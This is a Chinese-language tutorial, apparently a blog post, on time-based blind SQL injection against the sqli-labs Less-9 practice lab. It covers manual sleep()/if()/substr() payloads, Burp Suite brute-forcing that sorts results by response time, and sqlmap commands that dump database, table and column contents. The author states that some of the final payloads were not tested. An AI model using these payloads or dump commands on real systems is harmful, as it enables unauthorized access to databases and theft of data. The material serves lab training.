关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入

SQL时间注入是一种常见的SQL注入攻击方式,攻击者通过在SQL语句中注入时间相关的代码,来获取敏感信息或者执行非法操作。其基本原理如下:

  1. 攻击者向Web应用程序中输入一段恶意代码,通过SQL语句查询数据库,并注入时间相关的代码。

  2. 时间相关的代码可以包括**sleep()**函数、benchmark()函数等,这些函数会导致SQL语句执行时间的延迟或者变化。

  3. 攻击者可以根据SQL语句的执行时间,来推断出数据库中存储的信息,如用户名、密码等,从而获取敏感信息或者执行非法操作。

  4. 通过不断尝试和调试,攻击者可以逐步推断出数据库中存储的信息,获取敏感信息或者执行非法操作。

首先我们介绍手动测试,以便大家熟悉原理。

payload主要基于三个函数:sleep()、substr()、if()

以sqllabs-less-9为靶场测试

由于这里无论输入什么都是回显一个内容,因此我们尝试时间盲注

简单使用sleep函数测试,找到闭合点是单引号

?id=1' and sleep(5)--+

可以观察到明显的延时现象后才出现回显内容

我们也可以通过查看请求耗时

6.09s,和我们设置的sleep 5s 差不多,说明sleep语句被执行了,存在时间盲注

那么我们接下来需要先判断当前数据库的长度,使用length函数

?id=1' and if(length(database())=8,sleep(10),0) --+

如果当前数据库的长度为8,则会延时10s

依旧出现了明显的延时现象

基于这样的一个延时原理,接下来我们使用burpsuite进行爆破

假设我们不知道数据库长度是8,我们先爆破数据库长度

爆破payload:

?id=1' and if(length(database())=1,sleep(3),0) --+

为了爆破时间短一点,我们可以将sleep的时间设置短一点

(但是有时候这个sleep时间也会影响到判断的准确性)

设置爆破位置,选用攻击类型(狙击手,单个参数爆破)

设置爆破字典

如果直接看结果是看不出来的,因为都是回显正常

我们需要基于响应耗时来筛选

按照这个排序

可以看到,正常的响应大约是1s

长度为8时,耗时3999ms,大约4s,即加上了sleep延时的3s

判断出有效载荷为8是执行了sleep函数,因此数据库长度为8

接下来爆数据库名

这里还是需要使用 substr() 函数,该函数和我们在布尔盲注中讲的substring函数类似。

两者都是截取字符串,不同点在于第二个参数

substr(startIndex,lenth): 第二个参数是截取字符串的长度(从起始点截取某个长度的字符串);

substring(startIndex, endIndex): 第二个参数是截取字符串最终的下标 (截取2个位置之间的字符串,'含头不含尾')。

若只写一个参数两者完全一样,都是截取从当前下标以后直到字符串最后的字符串片段。

爆破payload:

?id=1' and if(substr(database(),1,1)='a',sleep(3),0)--+ 

同样选择攻击模式(集束炸弹,不明白的请参考我之前布尔盲注爆破的讲解)

以及设置爆破位置,这里需要爆破的参数有两个

第一个参数的字典显然是1到8(因为数据库长度为8)

第二个参数的字典这里以所有小写字母为例(实际情况应该更复杂)

同样,按照默认排序看不出任何东西,我们需要先筛选出执行了sleep函数的payload

再将其按照payload1从1到8的顺序排列

得到当前数据库名为:security

接下来我们爆破该数据库下的表名

(我们可以先爆破表名的长度再爆破具体内容,但是其实也可以直接爆破内容)

尽管长度我们不确定,但是我们的字典长度稍微设置大一点即可确保爆破出的内容完整。

?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

设置攻击类型,爆破参数位置

设置字典

筛选攻击结果

整理得到第一张表名为:emails

如果你不确定长度是否正确,可以将'6'带入语句进行验证,若出现延时则表明长度正确。

那么我们通过调整limit的参数即可获取到其他的表名,有时候也可以使用group_concat函数。

至于爆破列名以及具体字段内容也是一个道理,这里就不再过多演示,给出一些payload:

爆破security数据库下emails表下的列名

(可以设置三个参数,增设limit的爆破参数以获取所有列名,具体参考我布尔盲注那篇文章)

?id=1' and if(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1,1)='a',sleep(3),0)--+

爆破具体字段

?id=1' and if(substring((select email_id from security.emails limit 0,1),1,1)='a',sleep(3),0)--+

或者用

?id=1' and if(substring((select group_concat(email_id)from security.emails),1,1)='a',sleep(3),0)--+

最后给出的payload我并未进行实际测试,各位自行测试,若有问题可以评论反馈。

那么最后我们再讲一下使用sqlmap实现全自动的时间盲注

先进行基本检测:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T

参数说明:

-u 指定检测的 url

-p 指定检测的参数

-v 显示调试模式

--technique=T 检测方法为时间注入

经sqlmap 检测为时间注入,通过这个注入我们可以获取相关数据库信息。

获取用户和数据库名:

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --current-user --current-db --batch

参数说明:

--current-user 获取用户

--current-db 获取当前库

--batch 使用默认模式,自动 y

时间比较久,但是准确性是相当可靠的。

这么说吧:一般sqlmap能跑出来的基本上都没啥问题,这种是不存在什么绕过和过滤的,一般存在过和过滤的,sqlmap基本上都跑不出来,需要手工注入。

得到时间盲注结果:

current user: 'root@localhost'

current database: 'security'

接下来我们获取表名

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --tables -D security --batch

参数说明:

-D 指定数据库

--tables 获取表

sqlmap注入结果:

获取security数据库下所有的表为

+----------+

| emails |

| referers |

| uagents |

| users |

+----------+

与本地对比,结果正确

接下来我们获取列名:

这里以users表为例

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --columns -T users -D security --batch

参数说明:

-T 指定表

--columns 获取列名(字段名)

我这里就不等了,最终你可以爆出所有的列。

最后我们获取字段具体内容:

为了节约时间,我这里只演示查id和username

sqlmap -u "http://192.168.60.129:86/Less-9/?id=1" -p id -v 1 --technique=T --dump -C "id,username" -T users -D security --batch

参数说明:

--dump 导出数据

-C 指定查询的字段

由于结果有很多,这里我也不等了,各位可以自行验证。

与本地对照,结果一致。

以上就是关于SQL注入的时间盲注,包括手工注入、burpsuite爆破与使用sqlmap自动化注入。

创作不易,期待大家的支持与关注!

相关推荐
kaixin_learn_qt_ing36 分钟前
解析Xml文件并修改QDomDocument的值
xml·数据库·qt
懒大王爱吃狼1 小时前
【Python自动化】Python实现微信自动回复(简单上手),60行代码轻松搞定!个性化自动回复机器人,零基础可学!
运维·开发语言·python·数据分析·自动化·学习方法
onetwo_2331 小时前
python实现接口自动化
开发语言·python·自动化
森林猿2 小时前
mongodb-数据备份和恢复
数据库·mongodb
小黑子不会打篮球2 小时前
CTF之unseping
网络·web安全·网络安全
oscube3 小时前
Apache AGE中的图
数据库·apache
科学的发展-只不过是读大自然写的代码3 小时前
qt播放视频
数据库·qt·音视频
激昂~逐流3 小时前
Qt使用sqlite数据库及项目实战
数据库·qt·sqlite·学生信息管理系统
svygh1234 小时前
数据库性能优化系统设计
数据库·性能优化·软件设计·系统设计·设计文档
wilsonzane4 小时前
Mongodb性能优化方法
数据库·mongodb